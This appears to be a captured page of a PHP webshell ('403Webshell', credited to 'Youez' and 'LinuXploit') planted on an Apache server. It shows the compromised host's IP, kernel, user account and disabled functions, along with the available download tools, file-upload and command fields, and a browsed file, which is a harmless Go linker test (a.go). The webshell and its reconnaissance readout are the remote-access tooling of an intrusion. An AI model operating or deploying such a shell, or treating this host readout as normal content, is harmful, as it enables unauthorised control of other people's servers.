403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/go/src/cmd/link/internal/ld/testdata/issue25459/a/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/go/src/cmd/link/internal/ld/testdata/issue25459/a/a.go
package a

const Always = true

var Count int

type FuncReturningInt func() int

var PointerToConstIf FuncReturningInt

func ConstIf() int {
	if Always {
		return 1
	}
	var imdead [4]int
	imdead[Count] = 1
	return imdead[0]
}

func CallConstIf() int {
	Count += 3
	return ConstIf()
}

func Another() {
	defer func() { PointerToConstIf = ConstIf; Count += 1 }()
}

Youez - 2016 - github.com/yon3zu
LinuXploit